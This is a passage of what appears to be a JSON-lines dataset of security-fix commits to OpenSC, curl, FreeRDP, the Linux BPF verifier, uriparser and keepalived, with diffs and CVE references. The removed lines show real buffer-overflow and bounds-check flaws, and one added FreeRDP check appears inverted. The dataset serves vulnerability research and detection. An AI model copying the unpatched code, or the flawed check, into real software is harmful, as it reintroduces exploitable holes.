"opensc", "language": "C", "file_name": "src/libopensc/pkcs15-esteid.c", "commit_id": "360e95d45ac4123255a4c796db96337f332160ad", "commit_message": "fixed out of bounds writes\n\nThanks to Eric Sesterhenn from X41 D-SEC GmbH\nfor reporting the problems.", "patch": "@@ -79,7 +79,7 @@ sc_pkcs15emu_esteid_init (sc_pkcs15_card_t * p15card)\n \t/* read the serial (document number) */\n \tr = sc_read_record (card, SC_ESTEID_PD_DOCUMENT_NR, buff, sizeof(buff), SC_RECORD_BY_REC_NR);\n \tSC_TEST_RET(card->ctx, SC_LOG_DEBUG_NORMAL, r, \"read document number failed\");\n-\tbuff[r] = '\\0';\n+\tbuff[MIN((size_t) r, (sizeof buff)-1)] = '\\0';\n \tset_string (&p15card->tokeninfo->serial_number, (const char *) buff);\n \n \tp15card->tokeninfo->flags = SC_PKCS15_TOKEN_PRN_GENERATION", "sections": [{"section": "@@ -79,7 +79,7 @@ sc_pkcs15emu_esteid_init (sc_pkcs15_card_t * p15card)\n \t/* read the serial (document number) */\n \tr = sc_read_record (card, SC_ESTEID_PD_DOCUMENT_NR, buff, sizeof(buff), SC_RECORD_BY_REC_NR);\n \tSC_TEST_RET(card->ctx, SC_LOG_DEBUG_NORMAL, r, \"read document number failed\");\n-\tbuff[r] = '\\0';\n+\tbuff[MIN((size_t) r, (sizeof buff)-1)] = '\\0';\n \tset_string (&p15card->tokeninfo->serial_number, (const char *) buff);\n \n \tp15card->tokeninfo->flags = SC_PKCS15_TOKEN_PRN_GENERATION", "related": false}]} +{"owner": "opensc", "repo": "opensc", "language": "C", "file_name": "src/libopensc/card-tcos.c", "commit_id": "360e95d45ac4123255a4c796db96337f332160ad", "commit_message": "fixed out of bounds writes\n\nThanks to Eric Sesterhenn from X41 D-SEC GmbH\nfor reporting the problems.", "patch": "@@ -408,7 +408,7 @@ static int tcos_select_file(sc_card_t *card,\n \tfile->path = *in_path;\n \n \tfor(i=2; i+1id = (d[0]<<8) | d[1];\n \t\t\tbreak;\n \t\tcase 0x84:\n-\t\t\tmemcpy(file->name, d, len);\n-\t\t\tfile->namelen = len;\n+\t\t\tfile->namelen = MIN(sizeof file->name, len);\n+\t\t\tmemcpy(file->name, d, file->namelen);\n \t\t\tbreak;\n \t\tcase 0x86:\n \t\t\tsc_file_set_sec_attr(file, d, len); ", "sections": [{"section": "@@ -408,7 +408,7 @@ static int tcos_select_file(sc_card_t *card,\n \tfile->path = *in_path;\n \n \tfor(i=2; i+1id = (d[0]<<8) | d[1];\n \t\t\tbreak;\n \t\tcase 0x84:\n-\t\t\tmemcpy(file->name, d, len);\n-\t\t\tfile->namelen = len;\n+\t\t\tfile->namelen = MIN(sizeof file->name, len);\n+\t\t\tmemcpy(file->name, d, file->namelen);\n \t\t\tbreak;\n \t\tcase 0x86:\n \t\t\tsc_file_set_sec_attr(file, d, len); ", "related": true}]} +{"owner": "opensc", "repo": "opensc", "language": "C", "file_name": "src/libopensc/card-muscle.c", "commit_id": "360e95d45ac4123255a4c796db96337f332160ad", "commit_message": "fixed out of bounds writes\n\nThanks to Eric Sesterhenn from X41 D-SEC GmbH\nfor reporting the problems.", "patch": "@@ -518,7 +518,9 @@ static int muscle_list_files(sc_card_t *card, u8 *buf, size_t bufLen)\n \tmscfs_check_cache(priv->fs);\n \n \tfor(x = 0; x < fs->cache.size; x++) {\n-\t\tu8* oid= fs->cache.array[x].objectId.id;\n+\t\tu8* oid = fs->cache.array[x].objectId.id;\n+\t\tif (bufLen < 2)\n+\t\t\tbreak;\n \t\tsc_debug(card->ctx, SC_LOG_DEBUG_NORMAL,\n \t\t\t\"FILE: %02X%02X%02X%02X\\n\",\n \t\t\toid[0],oid[1],oid[2],oid[3]);\n@@ -527,7 +529,8 @@ static int muscle_list_files(sc_card_t *card, u8 *buf, size_t bufLen)\n \t\t\tbuf[1] = oid[3];\n \t\t\tif(buf[0] == 0x00 && buf[1] == 0x00) continue; /* No directories/null names outside of root */\n \t\t\tbuf += 2;\n-\t\t\tcount+=2;\n+\t\t\tcount += 2;\n+\t\t\tbufLen -= 2;\n \t\t}\n \t}\n \treturn count;", "sections": [{"section": "@@ -518,7 +518,9 @@ static int muscle_list_files(sc_card_t *card, u8 *buf, size_t bufLen)\n \tmscfs_check_cache(priv->fs);\n \n \tfor(x = 0; x < fs->cache.size; x++) {\n-\t\tu8* oid= fs->cache.array[x].objectId.id;\n+\t\tu8* oid = fs->cache.array[x].objectId.id;\n+\t\tif (bufLen < 2)\n+\t\t\tbreak;\n \t\tsc_debug(card->ctx, SC_LOG_DEBUG_NORMAL,\n \t\t\t\"FILE: %02X%02X%02X%02X\\n\",\n \t\t\toid[0],oid[1],oid[2],oid[3]);\n", "related": false}, {"section": "@@ -527,7 +529,8 @@ static int muscle_list_files(sc_card_t *card, u8 *buf, size_t bufLen)\n \t\t\tbuf[1] = oid[3];\n \t\t\tif(buf[0] == 0x00 && buf[1] == 0x00) continue; /* No directories/null names outside of root */\n \t\t\tbuf += 2;\n-\t\t\tcount+=2;\n+\t\t\tcount += 2;\n+\t\t\tbufLen -= 2;\n \t\t}\n \t}\n \treturn count;", "related": false}]} +{"owner": "curl", "repo": "curl", "language": "C", "file_name": "src/tool_msgs.c", "commit_id": "d530e92f59ae9bb2d47066c3c460b25d2ffeb211", "commit_message": "voutf: fix bad arethmetic when outputting warnings to stderr\n\nCVE-2018-16842\nReported-by: Brian Carpenter\nBug: https://curl.haxx.se/docs/CVE-2018-16842.html", "patch": "@@ -67,7 +67,7 @@ static void voutf(struct GlobalConfig *config,\n (void)fwrite(ptr, cut + 1, 1, config->errors);\n fputs(\"\\n\", config->errors);\n ptr += cut + 1; /* skip the space too */\n- len -= cut;\n+ len -= cut + 1;\n }\n else {\n fputs(ptr, config->errors);", "sections": [{"section": "@@ -67,7 +67,7 @@ static void voutf(struct GlobalConfig *config,\n (void)fwrite(ptr, cut + 1, 1, config->errors);\n fputs(\"\\n\", config->errors);\n ptr += cut + 1; /* skip the space too */\n- len -= cut;\n+ len -= cut + 1;\n }\n else {\n fputs(ptr, config->errors);", "related": false}]} +{"owner": "freerdp", "repo": "freerdp", "language": "C", "file_name": "libfreerdp/codec/nsc_encode.c", "commit_id": "d1112c279bd1a327e8e4d0b5f371458bf2579659", "commit_message": "Fixed CVE-2018-8788\n\nThanks to Eyal Itkin from Check Point Software Technologies.", "patch": "@@ -51,6 +51,7 @@ static BOOL nsc_context_initialize_encode(NSC_CONTEXT* context)\n \t\tfor (i = 0; i < 5; i++)\n \t\t{\n \t\t\tBYTE* tmp = (BYTE*) realloc(context->priv->PlaneBuffers[i], length);\n+\n \t\t\tif (!tmp)\n \t\t\t\tgoto fail;\n \n@@ -87,7 +88,7 @@ static BOOL nsc_context_initialize_encode(NSC_CONTEXT* context)\n \treturn FALSE;\n }\n \n-static void nsc_encode_argb_to_aycocg(NSC_CONTEXT* context, const BYTE* data,\n+static BOOL nsc_encode_argb_to_aycocg(NSC_CONTEXT* context, const BYTE* data,\n UINT32 scanline)\n {\n \tUINT16 x;\n@@ -104,10 +105,20 @@ static void nsc_encode_argb_to_aycocg(NSC_CONTEXT* context, const BYTE* data,\n \tINT16 b_val;\n \tBYTE a_val;\n \tUINT32 tempWidth;\n+\n+\tif (!context || data || (scanline == 0))\n+\t\treturn FALSE;\n+\n \ttempWidth = ROUND_UP_TO(context->width, 8);\n \trw = (context->ChromaSubsamplingLevel ? tempWidth : context->width);\n \tccl = context->ColorLossLevel;\n \n+\tif (context->priv->PlaneBuffersLength < rw * scanline)\n+\t\treturn FALSE;\n+\n+\tif (rw < scanline * 2)\n+\t\treturn FALSE;\n+\n \tfor (y = 0; y < context->height; y++)\n \t{\n \t\tsrc = data + (context->height - 1 - y) * scanline;\n@@ -242,31 +253,37 @@ static void nsc_encode_argb_to_aycocg(NSC_CONTEXT* context, const BYTE* data,\n \t\tCopyMemory(coplane, coplane - rw, rw);\n \t\tCopyMemory(cgplane, cgplane - rw, rw);\n \t}\n+\n+\treturn TRUE;\n }\n \n-static void nsc_encode_subsampling(NSC_CONTEXT* context)\n+static BOOL nsc_encode_subsampling(NSC_CONTEXT* context)\n {\n \tUINT16 x;\n \tUINT16 y;\n-\tBYTE* co_dst;\n-\tBYTE* cg_dst;\n-\tINT8* co_src0;\n-\tINT8* co_src1;\n-\tINT8* cg_src0;\n-\tINT8* cg_src1;\n \tUINT32 tempWidth;\n \tUINT32 tempHeight;\n+\n+\tif (!context)\n+\t\treturn FALSE;\n+\n \ttempWidth = ROUND_UP_TO(context->width, 8);\n \ttempHeight = ROUND_UP_TO(context->height, 2);\n \n+\tif (tempHeight == 0)\n+\t\treturn FALSE;\n+\n+\tif (tempWidth > context->priv->PlaneBuffersLength / tempHeight)\n+\t\treturn FALSE;\n+\n \tfor (y = 0; y < tempHeight >> 1; y++)\n \t{\n-\t\tco_dst = context->priv->PlaneBuffers[1] + y * (tempWidth >> 1);\n-\t\tcg_dst = context->priv->PlaneBuffers[2] + y * (tempWidth >> 1);\n-\t\tco_src0 = (INT8*) context->priv->PlaneBuffers[1] + (y << 1) * tempWidth;\n-\t\tco_src1 = co_src0 + tempWidth;\n-\t\tcg_src0 = (INT8*) context->priv->PlaneBuffers[2] + (y << 1) * tempWidth;\n-\t\tcg_src1 = cg_src0 + tempWidth;\n+\t\tBYTE* co_dst = context->priv->PlaneBuffers[1] + y * (tempWidth >> 1);\n+\t\tBYTE* cg_dst = context->priv->PlaneBuffers[2] + y * (tempWidth >> 1);\n+\t\tconst INT8* co_src0 = (INT8*) context->priv->PlaneBuffers[1] + (y << 1) * tempWidth;\n+\t\tconst INT8* co_src1 = co_src0 + tempWidth;\n+\t\tconst INT8* cg_src0 = (INT8*) context->priv->PlaneBuffers[2] + (y << 1) * tempWidth;\n+\t\tconst INT8* cg_src1 = cg_src0 + tempWidth;\n \n \t\tfor (x = 0; x < tempWidth >> 1; x++)\n \t\t{\n@@ -280,19 +297,28 @@ static void nsc_encode_subsampling(NSC_CONTEXT* context)\n \t\t\tcg_src1 += 2;\n \t\t}\n \t}\n+\n+\treturn TRUE;\n }\n \n-void nsc_encode(NSC_CONTEXT* context, const BYTE* bmpdata, UINT32 rowstride)\n+BOOL nsc_encode(NSC_CONTEXT* context, const BYTE* bmpdata, UINT32 rowstride)\n {\n-\tnsc_encode_argb_to_aycocg(context, bmpdata, rowstride);\n+\tif (!context || !bmpdata || (rowstride == 0))\n+\t\treturn FALSE;\n+\n+\tif (!nsc_encode_argb_to_aycocg(context, bmpdata, rowstride))\n+\t\treturn FALSE;\n \n \tif (context->ChromaSubsamplingLevel)\n \t{\n-\t\tnsc_encode_subsampling(context);\n+\t\tif (!nsc_encode_subsampling(context))\n+\t\t\treturn FALSE;\n \t}\n+\n+\treturn TRUE;\n }\n \n-static UINT32 nsc_rle_encode(BYTE* in, BYTE* out, UINT32 originalSize)\n+static UINT32 nsc_rle_encode(const BYTE* in, BYTE* out, UINT32 originalSize)\n {\n \tUINT32 left;\n \tUINT32 runlength = 1;", "sections": [{"section": "@@ -51,6 +51,7 @@ static BOOL nsc_context_initialize_encode(NSC_CONTEXT* context)\n \t\tfor (i = 0; i < 5; i++)\n \t\t{\n \t\t\tBYTE* tmp = (BYTE*) realloc(context->priv->PlaneBuffers[i], length);\n+\n \t\t\tif (!tmp)\n \t\t\t\tgoto fail;\n \n", "related": false}, {"section": "@@ -87,7 +88,7 @@ static BOOL nsc_context_initialize_encode(NSC_CONTEXT* context)\n \treturn FALSE;\n }\n \n-static void nsc_encode_argb_to_aycocg(NSC_CONTEXT* context, const BYTE* data,\n+static BOOL nsc_encode_argb_to_aycocg(NSC_CONTEXT* context, const BYTE* data,\n UINT32 scanline)\n {\n \tUINT16 x;\n", "related": false}, {"section": "@@ -104,10 +105,20 @@ static void nsc_encode_argb_to_aycocg(NSC_CONTEXT* context, const BYTE* data,\n \tINT16 b_val;\n \tBYTE a_val;\n \tUINT32 tempWidth;\n+\n+\tif (!context || data || (scanline == 0))\n+\t\treturn FALSE;\n+\n \ttempWidth = ROUND_UP_TO(context->width, 8);\n \trw = (context->ChromaSubsamplingLevel ? tempWidth : context->width);\n \tccl = context->ColorLossLevel;\n \n+\tif (context->priv->PlaneBuffersLength < rw * scanline)\n+\t\treturn FALSE;\n+\n+\tif (rw < scanline * 2)\n+\t\treturn FALSE;\n+\n \tfor (y = 0; y < context->height; y++)\n \t{\n \t\tsrc = data + (context->height - 1 - y) * scanline;\n", "related": false}, {"section": "@@ -242,31 +253,37 @@ static void nsc_encode_argb_to_aycocg(NSC_CONTEXT* context, const BYTE* data,\n \t\tCopyMemory(coplane, coplane - rw, rw);\n \t\tCopyMemory(cgplane, cgplane - rw, rw);\n \t}\n+\n+\treturn TRUE;\n }\n \n-static void nsc_encode_subsampling(NSC_CONTEXT* context)\n+static BOOL nsc_encode_subsampling(NSC_CONTEXT* context)\n {\n \tUINT16 x;\n \tUINT16 y;\n-\tBYTE* co_dst;\n-\tBYTE* cg_dst;\n-\tINT8* co_src0;\n-\tINT8* co_src1;\n-\tINT8* cg_src0;\n-\tINT8* cg_src1;\n \tUINT32 tempWidth;\n \tUINT32 tempHeight;\n+\n+\tif (!context)\n+\t\treturn FALSE;\n+\n \ttempWidth = ROUND_UP_TO(context->width, 8);\n \ttempHeight = ROUND_UP_TO(context->height, 2);\n \n+\tif (tempHeight == 0)\n+\t\treturn FALSE;\n+\n+\tif (tempWidth > context->priv->PlaneBuffersLength / tempHeight)\n+\t\treturn FALSE;\n+\n \tfor (y = 0; y < tempHeight >> 1; y++)\n \t{\n-\t\tco_dst = context->priv->PlaneBuffers[1] + y * (tempWidth >> 1);\n-\t\tcg_dst = context->priv->PlaneBuffers[2] + y * (tempWidth >> 1);\n-\t\tco_src0 = (INT8*) context->priv->PlaneBuffers[1] + (y << 1) * tempWidth;\n-\t\tco_src1 = co_src0 + tempWidth;\n-\t\tcg_src0 = (INT8*) context->priv->PlaneBuffers[2] + (y << 1) * tempWidth;\n-\t\tcg_src1 = cg_src0 + tempWidth;\n+\t\tBYTE* co_dst = context->priv->PlaneBuffers[1] + y * (tempWidth >> 1);\n+\t\tBYTE* cg_dst = context->priv->PlaneBuffers[2] + y * (tempWidth >> 1);\n+\t\tconst INT8* co_src0 = (INT8*) context->priv->PlaneBuffers[1] + (y << 1) * tempWidth;\n+\t\tconst INT8* co_src1 = co_src0 + tempWidth;\n+\t\tconst INT8* cg_src0 = (INT8*) context->priv->PlaneBuffers[2] + (y << 1) * tempWidth;\n+\t\tconst INT8* cg_src1 = cg_src0 + tempWidth;\n \n \t\tfor (x = 0; x < tempWidth >> 1; x++)\n \t\t{\n", "related": false}, {"section": "@@ -280,19 +297,28 @@ static void nsc_encode_subsampling(NSC_CONTEXT* context)\n \t\t\tcg_src1 += 2;\n \t\t}\n \t}\n+\n+\treturn TRUE;\n }\n \n-void nsc_encode(NSC_CONTEXT* context, const BYTE* bmpdata, UINT32 rowstride)\n+BOOL nsc_encode(NSC_CONTEXT* context, const BYTE* bmpdata, UINT32 rowstride)\n {\n-\tnsc_encode_argb_to_aycocg(context, bmpdata, rowstride);\n+\tif (!context || !bmpdata || (rowstride == 0))\n+\t\treturn FALSE;\n+\n+\tif (!nsc_encode_argb_to_aycocg(context, bmpdata, rowstride))\n+\t\treturn FALSE;\n \n \tif (context->ChromaSubsamplingLevel)\n \t{\n-\t\tnsc_encode_subsampling(context);\n+\t\tif (!nsc_encode_subsampling(context))\n+\t\t\treturn FALSE;\n \t}\n+\n+\treturn TRUE;\n }\n \n-static UINT32 nsc_rle_encode(BYTE* in, BYTE* out, UINT32 originalSize)\n+static UINT32 nsc_rle_encode(const BYTE* in, BYTE* out, UINT32 originalSize)\n {\n \tUINT32 left;\n \tUINT32 runlength = 1;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "kernel/bpf/verifier.c", "commit_id": "b799207e1e1816b09e7a5920fbb2d5fcf6edd681", "commit_message": "bpf: 32-bit RSH verification must truncate input before the ALU op\n\nWhen I wrote commit 468f6eafa6c4 (\"bpf: fix 32-bit ALU op verification\"), I\nassumed that, in order to emulate 64-bit arithmetic with 32-bit logic, it\nis sufficient to just truncate the output to 32 bits; and so I just moved\nthe register size coercion that used to be at the start of the function to\nthe end of the function.\n\nThat assumption is true for almost every op, but not for 32-bit right\nshifts, because those can propagate information towards the least\nsignificant bit. Fix it by always truncating inputs for 32-bit ops to 32\nbits.\n\nAlso get rid of the coerce_reg_to_size() after the ALU op, since that has\nno effect.\n\nFixes: 468f6eafa6c4 (\"bpf: fix 32-bit ALU op verification\")\nAcked-by: Daniel Borkmann \nSigned-off-by: Jann Horn \nSigned-off-by: Daniel Borkmann ", "patch": "@@ -2896,6 +2896,15 @@ static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,\n \tu64 umin_val, umax_val;\n \tu64 insn_bitness = (BPF_CLASS(insn->code) == BPF_ALU64) ? 64 : 32;\n \n+\tif (insn_bitness == 32) {\n+\t\t/* Relevant for 32-bit RSH: Information can propagate towards\n+\t\t * LSB, so it isn't sufficient to only truncate the output to\n+\t\t * 32 bits.\n+\t\t */\n+\t\tcoerce_reg_to_size(dst_reg, 4);\n+\t\tcoerce_reg_to_size(&src_reg, 4);\n+\t}\n+\n \tsmin_val = src_reg.smin_value;\n \tsmax_val = src_reg.smax_value;\n \tumin_val = src_reg.umin_value;\n@@ -3131,7 +3140,6 @@ static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,\n \tif (BPF_CLASS(insn->code) != BPF_ALU64) {\n \t\t/* 32-bit ALU ops are (32,32)->32 */\n \t\tcoerce_reg_to_size(dst_reg, 4);\n-\t\tcoerce_reg_to_size(&src_reg, 4);\n \t}\n \n \t__reg_deduce_bounds(dst_reg);", "sections": [{"section": "@@ -2896,6 +2896,15 @@ static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,\n \tu64 umin_val, umax_val;\n \tu64 insn_bitness = (BPF_CLASS(insn->code) == BPF_ALU64) ? 64 : 32;\n \n+\tif (insn_bitness == 32) {\n+\t\t/* Relevant for 32-bit RSH: Information can propagate towards\n+\t\t * LSB, so it isn't sufficient to only truncate the output to\n+\t\t * 32 bits.\n+\t\t */\n+\t\tcoerce_reg_to_size(dst_reg, 4);\n+\t\tcoerce_reg_to_size(&src_reg, 4);\n+\t}\n+\n \tsmin_val = src_reg.smin_value;\n \tsmax_val = src_reg.smax_value;\n \tumin_val = src_reg.umin_value;\n", "related": false}, {"section": "@@ -3131,7 +3140,6 @@ static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,\n \tif (BPF_CLASS(insn->code) != BPF_ALU64) {\n \t\t/* 32-bit ALU ops are (32,32)->32 */\n \t\tcoerce_reg_to_size(dst_reg, 4);\n-\t\tcoerce_reg_to_size(&src_reg, 4);\n \t}\n \n \t__reg_deduce_bounds(dst_reg);", "related": false}]} +{"owner": "uriparser", "repo": "uriparser", "language": "C", "file_name": "src/UriCommon.c", "commit_id": "f58c25069cf4a986fe17a80c5b38687e31feb539", "commit_message": "ResetUri: Protect against NULL", "patch": "@@ -75,6 +75,9 @@\n \n \n void URI_FUNC(ResetUri)(URI_TYPE(Uri) * uri) {\n+\tif (uri == NULL) {\n+\t\treturn;\n+\t}\n \tmemset(uri, 0, sizeof(URI_TYPE(Uri)));\n }\n ", "sections": [{"section": "@@ -75,6 +75,9 @@\n \n \n void URI_FUNC(ResetUri)(URI_TYPE(Uri) * uri) {\n+\tif (uri == NULL) {\n+\t\treturn;\n+\t}\n \tmemset(uri, 0, sizeof(URI_TYPE(Uri)));\n }\n ", "related": false}]} +{"owner": "acassen", "repo": "keepalived", "language": "C", "file_name": "keepalived/vrrp/vrrp_print.c", "commit_id": "04f2d32871bb3b11d7dc024039952f2fe2750306", "commit_message": "When opening files for write, ensure they aren't symbolic links\n\nIssue #1048 identified that if, for example, a non privileged user\ncreated a symbolic link from /etc/keepalvied.data to /etc/passwd,\nwriting to /etc/keepalived.data (which could be invoked via DBus)\nwould cause /etc/passwd to be overwritten.\n\nThis commit stops keepalived writing to pathnames where the ultimate\ncomponent is a symbolic link, by setting O_NOFOLLOW whenever opening\na file for writing.\n\nThis might break some setups, where, for example, /etc/keepalived.data\nwas a symbolic link to /home/fred/keepalived.data. If this was the case,\ninstead create a symbolic link from /home/fred/keepalived.data to\n/tmp/keepalived.data, so that the file is still accessible via\n/home/fred/keepalived.data.\n\nThere doesn't appear to be a way around this backward incompatibility,\nsince even checking if the pathname is a symbolic link prior to opening\nfor writing would create a race condition.\n\nSigned-off-by: Quentin Armitage ", "patch": "@@ -32,14 +32,15 @@\n #include \"vrrp.h\"\n #include \"vrrp_data.h\"\n #include \"vrrp_print.h\"\n+#include \"utils.h\"\n \n static const char *dump_file = \"/tmp/keepalived.data\";\n static const char *stats_file = \"/tmp/keepalived.stats\";\n \n void\n vrrp_print_data(void)\n {\n-\tFILE *file = fopen (dump_file, \"w\");\n+\tFILE *file = fopen_safe(dump_file, \"w\");\n \n \tif (!file) {\n \t\tlog_message(LOG_INFO, \"Can't open %s (%d: %s)\",\n@@ -55,28 +56,24 @@ vrrp_print_data(void)\n void\n vrrp_print_stats(void)\n {\n-\tFILE *file;\n-\tfile = fopen (stats_file, \"w\");\n+\tFILE *file = fopen_safe(stats_file, \"w\");\n+\telement e;\n+\tvrrp_t *vrrp;\n \n \tif (!file) {\n \t\tlog_message(LOG_INFO, \"Can't open %s (%d: %s)\",\n \t\t\tstats_file, errno, strerror(errno));\n \t\treturn;\n \t}\n \n-\tlist l = vrrp_data->vrrp;\n-\telement e;\n-\tvrrp_t *vrrp;\n \n-\tfor (e = LIST_HEAD(l); e; ELEMENT_NEXT(e)) {\n-\t\tvrrp = ELEMENT_DATA(e);\n+\tLIST_FOREACH(vrrp_data->vrrp, vrrp, e) {\n \t\tfprintf(file, \"VRRP Instance: %s\\n\", vrrp->iname);\n \t\tfprintf(file, \" Advertisements:\\n\");\n \t\tfprintf(file, \" Received: %\" PRIu64 \"\\n\", vrrp->stats->advert_rcvd);\n \t\tfprintf(file, \" Sent: %d\\n\", vrrp->stats->advert_sent);\n \t\tfprintf(file, \" Became master: %d\\n\", vrrp->stats->become_master);\n-\t\tfprintf(file, \" Released master: %d\\n\",\n-\t\t\tvrrp->stats->release_master);\n+\t\tfprintf(file, \" Released master: %d\\n\", vrrp->stats->release_master);\n \t\tfprintf(file, \" Packet Errors:\\n\");\n \t\tfprintf(file, \" Length: %\" PRIu64 \"\\n\", vrrp->stats->packet_len_err);\n \t\tfprintf(file, \" TTL: %\" PRIu64 \"\\n\", vrrp->stats->ip_ttl_err);", "sections": [{"section": "@@ -32,14 +32,15 @@\n #include \"vrrp.h\"\n #include \"vrrp_data.h\"\n #include \"vrrp_print.h\"\n+#include \"utils.h\"\n \n static const char *dump_file = \"/tmp/keepalived.data\";\n static const char *stats_file = \"/tmp/keepalived.stats\";\n \n void\n vrrp_print_data(void)\n {\n-\tFILE *file = fopen (dump_file, \"w\");\n+\tFILE *file = fopen_safe(dump_file, \"w\");\n \n \tif (!file) {\n \t\tlog_message(LOG_INFO, \"Can't open %s (%d: %s)\",\n", "related": true}, {"section": "@@ -55,28 +56,24 @@ vrrp_print_data(void)\n void\n vrrp_print_stats(void)\n {\n-\tFILE *file;\n-\tfile = fopen (stats_file, \"w\");\n+\tFILE *file = fopen_safe(stats_file, \"w\");\n+\telement e;\n+\tvrrp_t *vrrp;\n \n \tif (!file) {\n \t\tlog_message(LOG_INFO, \"Can't open %s (%d: %s)\",\n \t\t\tstats_file, errno, strerror(errno));\n \t\treturn;\n \t}\n \n-\tlist l = vrrp_data->vrrp;\n-\telement e;\n-\tvrrp_t *vrrp;\n \n-\tfor (e = LIST_HEAD(l); e; ELEMENT_NEXT(e)) {\n-\t\tvrrp = ELEMENT_DATA(e);\n+\tLIST_FOREACH(vrrp_data->vrrp, vrrp, e) {\n \t\tfprintf(file, \"VRRP Instance: %s\\n\", vrrp->iname);\n \t\tfprintf(file, \" Advertisements:\\n\");\n \t\tfprintf(file, \" Received: %\" PRIu64 \"\\n\", vrrp->stats->advert_rcvd);\n \t\tfprintf(file, \" Sent: %d\\n\", vrrp->stats->advert_sent);\n \t\tfprintf(file, \" Became master: %d\\n\", vrrp->stats->become_master);\n-\t\tfprintf(file, \" Released master: %d\\n\",\n-\t\t\tvrrp->stats->release_master);\n+\t\tfprintf(file, \" Released master: %d\\n\", vrrp->stats->release_master);\n \t\tfprintf(file, \" Packet Errors:\\n\");\n \t\tfprintf(file, \" Length: %\" PRIu64 \"\\n\", vrrp->stats->packet_len_err);\n \t\tfprintf(file, \" TTL: %\" PRIu64 \"\\n\", vrrp->stats->ip_ttl_err);", "related": true}]} +{"owner": "acassen", "repo": "keepalived", "language": "C", "file_name": "keepalived/core/global_parser.c", "commit_id": "c6247a9ef2c7b33244ab1d3aa5d629ec49f0a067", "commit_message": "Add command line and configuration option to set umask\n\nIssue #1048 identified that files created by keepalived are created\nwith mode 0666. This commit changes the default to 0644, and also\nallows the umask to be specified in the configuration or as a command\nline option.\n\nSigned-off-by: Quentin Armitage ", "patch": "@@ -35,6 +35,8 @@\n #include \n #endif\n #include \n+#include \n+#include \n \n #ifdef _WITH_SNMP_\n #include \"snmp.h\"\n@@ -1341,6 +1343,76 @@ no_checker_emails_handler(vector_t *strvec)\n }\n #endif\n \n+static void\n+umask_handler(vector_t *strvec)\n+{\n+\tlong umask_long;\n+\tmode_t umask_val = 0;\n+\tchar *mask = strvec_slot(strvec, 1);\n+\tchar *endptr;\n+\tunsigned i;\n+\tchar *p;\n+\n+\tif (umask_cmdline) {\n+\t\tlog_message(LOG_INFO, \"umask command line option specified, ignoring config option\");\n+\t\treturn;\n+\t}\n+\n+\tif (isdigit(mask[0])) {\n+\t\tif (vector_size(strvec) != 2) {\n+\t\t\treport_config_error(CONFIG_GENERAL_ERROR, \"%s parameter(s) to umask option\", vector_size(strvec) == 1 ? \"Missing\" : \"Extra\");\n+\t\t\treturn;\n+\t\t}\n+\t\tumask_long = strtol(mask, &endptr, 0);\n+\t\tif (*endptr || umask_long < 0 || umask_long & ~0777L) {\n+\t\t\treport_config_error(CONFIG_GENERAL_ERROR, \"invalid umask value %s\", mask);\n+\t\t\treturn;\n+\t\t}\n+\t\tumask_val = umask_long & 0777;\n+\t}\n+\telse {\n+\t\tbool need_or = false;\n+\t\tfor (i = 1; i < vector_size(strvec); i++) {\n+\t\t\tfor (p = strvec_slot(strvec, i); *p; ) {\n+\t\t\t\tif (need_or) {\n+\t\t\t\t\tif (*p == '|') {\n+\t\t\t\t\t\tneed_or = false;\n+\t\t\t\t\t\tp++;\n+\t\t\t\t\t\tcontinue;\n+\t\t\t\t\t}\n+\n+\t\t\t\t\treport_config_error(CONFIG_GENERAL_ERROR, \"Invalid umask syntax %s\", FMT_STR_VSLOT(strvec, i));\n+\t\t\t\t\treturn;\n+\t\t\t\t}\n+\n+\t\t\t\tif (!strncmp(p, \"IRUSR\", 5)) umask_val |= S_IRUSR;\n+\t\t\t\telse if (!strncmp(p, \"IWUSR\", 5)) umask_val |= S_IWUSR;\n+\t\t\t\telse if (!strncmp(p, \"IXUSR\", 5)) umask_val |= S_IXUSR;\n+\t\t\t\telse if (!strncmp(p, \"IRGRP\", 5)) umask_val |= S_IRGRP;\n+\t\t\t\telse if (!strncmp(p, \"IWGRP\", 5)) umask_val |= S_IWGRP;\n+\t\t\t\telse if (!strncmp(p, \"IXGRP\", 5)) umask_val |= S_IXGRP;\n+\t\t\t\telse if (!strncmp(p, \"IROTH\", 5)) umask_val |= S_IROTH;\n+\t\t\t\telse if (!strncmp(p, \"IWOTH\", 5)) umask_val |= S_IWOTH;\n+\t\t\t\telse if (!strncmp(p, \"IXOTH\", 5)) umask_val |= S_IXOTH;\n+\t\t\t\telse {\n+\t\t\t\t\treport_config_error(CONFIG_GENERAL_ERROR, \"Unknown umask bit %s\", p);\n+\t\t\t\t\treturn;\n+\t\t\t\t}\n+\n+\t\t\t\tp += 5;\n+\t\t\t\tneed_or = true;\n+\t\t\t}\n+\t\t}\n+\t\tif (!need_or) {\n+\t\t\treport_config_error(CONFIG_GENERAL_ERROR, \"umask missing bit value\");\n+\t\t\treturn;\n+\t\t}\n+\t}\n+\n+\tglobal_data->umask = umask_val;\n+\tumask(umask_val);\n+}\n+\n void\n init_global_keywords(bool global_active)\n {\n@@ -1483,4 +1555,5 @@ init_global_keywords(bool global_active)\n \tinstall_keyword(\"vrrp_rx_bufs_policy\", &vrrp_rx_bufs_policy_handler);\n \tinstall_keyword(\"vrrp_rx_bufs_multiplier\", &vrrp_rx_bufs_multiplier_handler);\n #endif\n+\tinstall_keyword(\"umask\", &umask_handler);\n }", "sections": [{"section": "@@ -35,6 +35,8 @@\n #include \n #endif\n #include \n+#include \n+#include \n \n #ifdef _WITH_SNMP_\n #include \"snmp.h\"\n", "related": false}, {"section": "@@ -1341,6 +1343,76 @@ no_checker_emails_handler(vector_t *strvec)\n }\n #endif\n \n+static void\n+umask_handler(vector_t *strvec)\n+{\n+\tlong umask_long;\n+\tmode_t umask_val = 0;\n+\tchar *mask = strvec_slot(strvec, 1);\n+\tchar *endptr;\n+\tunsigned i;\n+\tchar *p;\n+\n+\tif (umask_cmdline) {\n+\t\tlog_message(LOG_INFO, \"umask command line option specified, ignoring config option\");\n+\t\treturn;\n+\t}\n+\n+\tif (isdigit(mask[0])) {\n+\t\tif (vector_size(strvec) != 2) {\n+\t\t\treport_config_error(CONFIG_GENERAL_ERROR, \"%s parameter(s) to umask option\", vector_size(strvec) == 1 ? \"Missing\" : \"Extra\");\n+\t\t\treturn;\n+\t\t}\n+\t\tumask_long = strtol(mask, &endptr, 